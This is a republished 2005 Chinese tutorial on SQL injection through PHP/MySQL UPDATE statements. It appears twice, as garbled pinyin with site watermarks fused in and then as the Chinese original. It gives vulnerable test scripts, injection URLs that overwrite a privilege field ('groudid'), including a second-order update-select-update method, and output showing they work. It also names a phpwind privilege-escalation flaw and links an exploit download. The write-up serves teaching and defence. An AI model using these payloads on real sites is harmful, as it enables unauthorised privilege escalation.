| 订阅 | 在线投稿
分享
 
 
 

UPDATE注射(mysql+php)的两个模式

2008-12-22 08:10:39  编辑来源:互联网  宽屏版  评论

本文为【UPDATE注射(mysql+php)的两个模式】的汉字拼音对照版显示拼音

benwenzuozheSuperHei

wenzhangxingzhiyuanchuang

faburiqi2005-08-14

yiceshihuanjingwangguanxiazaidl.bitscn.com

OS: Windowsxp sp2

php: php 4.3.10

mysql 4.1.9

apache 1.3.33

erceshishujukujiegou

-- shujuku: `test`

--

-- --------------------------------------------------------

--

-- biaodejiegou `userinfo`

--wangguanwangwww_bitscn_com

CREATE TABLE `userinfo` (

`groudid` varchar(12) NOT NULL default '1',

`user` varchar(12) NOT NULL default 'heige',

`pass` varchar(122) NOT NULL default '123456'

) TYPE=MyISAM;wangguanujiau.bitsCN.com

--

-- daochubiaozhongdeshuju `userinfo`

--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')

sanceshimoshi

1bianliangmeiyoudai''huo""zhongguowangguanlianmengbitsCN.com

<?php

//test1.php Mod1

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("shujukulianjieshibai");zhongguowangguanluntanbbs.bitsCN.com

$sql = "update userinfo set pass=$p where user='heige'";//<--$Pmeiyou使shiyongdanyinhao

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);zhongguowangguanluntanbbs.bitsCN.com

echo "<p>SQL Query:$sql<p>";

?>

jiaobenlizhishixiugai user='heige' de passruguo groudid biaoshiyonghudequanxiandengjiwomendemudejiushitongguogouzao $p laidadaoxiugai groupid demudenamewomentijiao
http://127.0.0.1/test1.php?p=123456,groudid=1

zaimysqllichaxun

mysql> select * from userinfo;

+---------+-------+--------+

| groudid | user | pass |

+---------+-------+--------+

| 1 | heige | 123456 |

+---------+-------+--------+

1 row in set (0.01 sec)

yonghuheigedegroudidyou2gaiwei1le :)

suoyiwomenkeyidedaomeiyou''huo""updatedezhusheshikeyichenggongdezhegejiushiwomendemoshi1

2bianliangdai''huo""

<?php

//test2.php

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("shujukulianjieshibai");

$sql = "update userinfo set pass='$p' where user='heige'";//<--$P使shiyongdanyinhaozhongguowangguanluntanbbs.bitsCN.com

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);wangguanluntanbbs_bitsCN_com

echo "<p>SQL Query:$sql<p>";

?>

weileguanbi'womengouzao$pyinggaiwei123456',groudid='2tijiaozhongguowangguanluntanbbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1

zaigpc=ondeqingkuangxia'bianchengle\'tijiaodeyujubiancheng

SQL Query:update userinfo set pass='123456\',groudid=\'1' where user='heige'

mysqlchaxun

mysql> select * from userinfo;

+---------+-------+--------------------+

| groudid | user | pass |

+---------+-------+--------------------+

| 2 | heige | 123456',groudid='1 |

+---------+-------+--------------------+

1 row in set (0.00 sec)wangguanbitscn_com

groudidbingmeiyoubeixiugainamezaibianliangbei''huo""shi jiuwanquanmeiyoubeizhushenebushi xiamianwomenkanmoshi2

<?php

//test3.php Mod2

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("shujukulianjieshibai");

$sql = "update userinfo set pass='$p' where user='heige'";//<--$P使shiyongdanyinhaowangguanujiau.bitscn@com

$result = mysql_db_query($dbname, $sql);

mysql_fetch_array($result); //$pdeshujuxierushujuku

$sql= "select pass from userinfo where user='heige'";

$result = mysql_db_query($dbname, $sql);

$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //bapasschaxunshuchugei$userinfo[0]

$sql ="update userinfo set pass='$userinfo[0]' where user='heige'";

$result = mysql_db_query($dbname, $sql);

mysql_fetch_array($result); //ba$userinfo[0] zaiciupdatezhongguowangguanlianmengbitsCN.com

?>

womenceshixiatijiaowangguanbitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1

huimysqlchaxunxia wangguanluntanbbs_bitsCN_com

mysql> select * from userinfo;

+---------+-------+--------+

| groudid | user | pass |

+---------+-------+--------+

| 1 | heige | 123456 |

+---------+-------+--------+

1 row in set (0.00 sec)

HaHa~~ chenggongzhushe xiugaigroudidwei1 zhegejiushiwomendemoshi2lejiandandemiaoxuruxia

update --> select --> update

sishijimoshi

moshi1que

moshi2phpwind 2.0.2he3.31e quanxiantishengloudong

loudongfenxi

update profile.php zhushebianliangwei$proicon updateyujuliwei,icon='$userdb[icon]'

select jop.php

updtate jop.phpwangguanluntanbbs_bitsCN_com

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

wumingxie

tebieganxiesaiydengpengyoudetaolunhebangzhuThanks!!

原文
本文作者:SuperHei 文章性质:原创 发布日期:2005-08-14 一、测试环境网管下载dl.bitscn.com OS: Windowsxp sp2 php: php 4.3.10 mysql 4.1.9 apache 1.3.33 二、测试数据库结构 -- 数据库: `test` -- -- -------------------------------------------------------- -- -- 表的结构 `userinfo` --网管网www_bitscn_com CREATE TABLE `userinfo` ( `groudid` varchar(12) NOT NULL default '1', `user` varchar(12) NOT NULL default 'heige', `pass` varchar(122) NOT NULL default '123456' ) TYPE=MyISAM;网管u家u.bitsCN.com -- -- 导出表中的数据 `userinfo` -- INSERT INTO `userinfo` VALUES ('2', 'heige', '123456') 三、测试模式 1、变量没有带''或""中国网管联盟bitsCN.com <?php //test1.php Mod1 $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");中国网管论坛bbs.bitsCN.com $sql = "update userinfo set pass=$p where user='heige'";//<--$P没有使用单引号 $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result);中国网管论坛bbs.bitsCN.com echo "<p>SQL Query:$sql<p>"; ?> 脚本里只是修改 user='heige' 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交: [url=http://127.0.0.1/test1.php?p=123456,groudid=1]http://127.0.0.1/test1.php?p=123456,groudid=1[/url] 在mysql里查询: mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.01 sec) 用户heige的groudid又2改为1了 :) 所以我们可以得到没有''或""update的注射是可以成功的,这个就是我们的模式1。 2、变量带''或"" <?php //test2.php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号中国网管论坛bbs.bitsCN.com $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result);网管论坛bbs_bitsCN_com echo "<p>SQL Query:$sql<p>"; ?> 为了关闭'我们构造$p应该为123456',groudid='2提交:中国网管论坛bbs.bitsCN.com [url=http://127.0.0.1/test2.php?p=123456]http://127.0.0.1/test2.php?p=123456',groudid='1[/url] 在gpc=on的情况下'变成了\',提交的语句变成: SQL Query:update userinfo set pass='123456\',groudid=\'1' where user='heige' mysql查询: mysql> select * from userinfo; +---------+-------+--------------------+ | groudid | user | pass | +---------+-------+--------------------+ | 2 | heige | 123456',groudid='1 | +---------+-------+--------------------+ 1 row in set (0.00 sec)网管bitscn_com groudid并没有被修改。那么在变量被''或""时 就完全没有被注射呢?不是 下面我们看模式2: <?php //test3.php Mod2 $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号网管u家[url=mailto:u.bitscn@com]u.bitscn@com[/url] $result = mysql_db_query($dbname, $sql); mysql_fetch_array($result); //$p的数据写入数据库 $sql= "select pass from userinfo where user='heige'"; $result = mysql_db_query($dbname, $sql); $userinfo=mysql_fetch_array($result); echo $userinfo[0]; //把pass查询输出给$userinfo[0] $sql ="update userinfo set pass='$userinfo[0]' where user='heige'"; $result = mysql_db_query($dbname, $sql); mysql_fetch_array($result); //把$userinfo[0] 再次update中国网管联盟bitsCN.com ?> 我们测试下,提交:网管bitscn_com [url=http://127.0.0.1/test3.php?p=123456]http://127.0.0.1/test3.php?p=123456',groudid='1[/url] 回mysql查询下 :网管论坛bbs_bitsCN_com mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.00 sec) HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下: update --> select --> update 四、实际模式 模式1:缺 模式2:phpwind 2.0.2和3.31e 权限提升漏洞 漏洞分析 update (profile.php 注射变量为$proicon update语句里为,icon='$userdb[icon]') ↓ select (jop.php) ↓ updtate (jop.php)网管论坛bbs_bitsCN_com Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe 五、鸣谢 特别感谢saiy等朋友的讨论和帮助。Thanks!!
󰈣󰈤
 
 
 
>>返回首页<<
 
 
 转载本文
 UBB代码 HTML代码
复制到剪贴板...
 
 热帖排行
 
 
王朝网络微信公众号
微信扫码关注本站公众号wangchaonetcn
 
 
静静地坐在废墟上,四周的荒凉一望无际,忽然觉得,凄凉也很美
©2005- 王朝网络 版权所有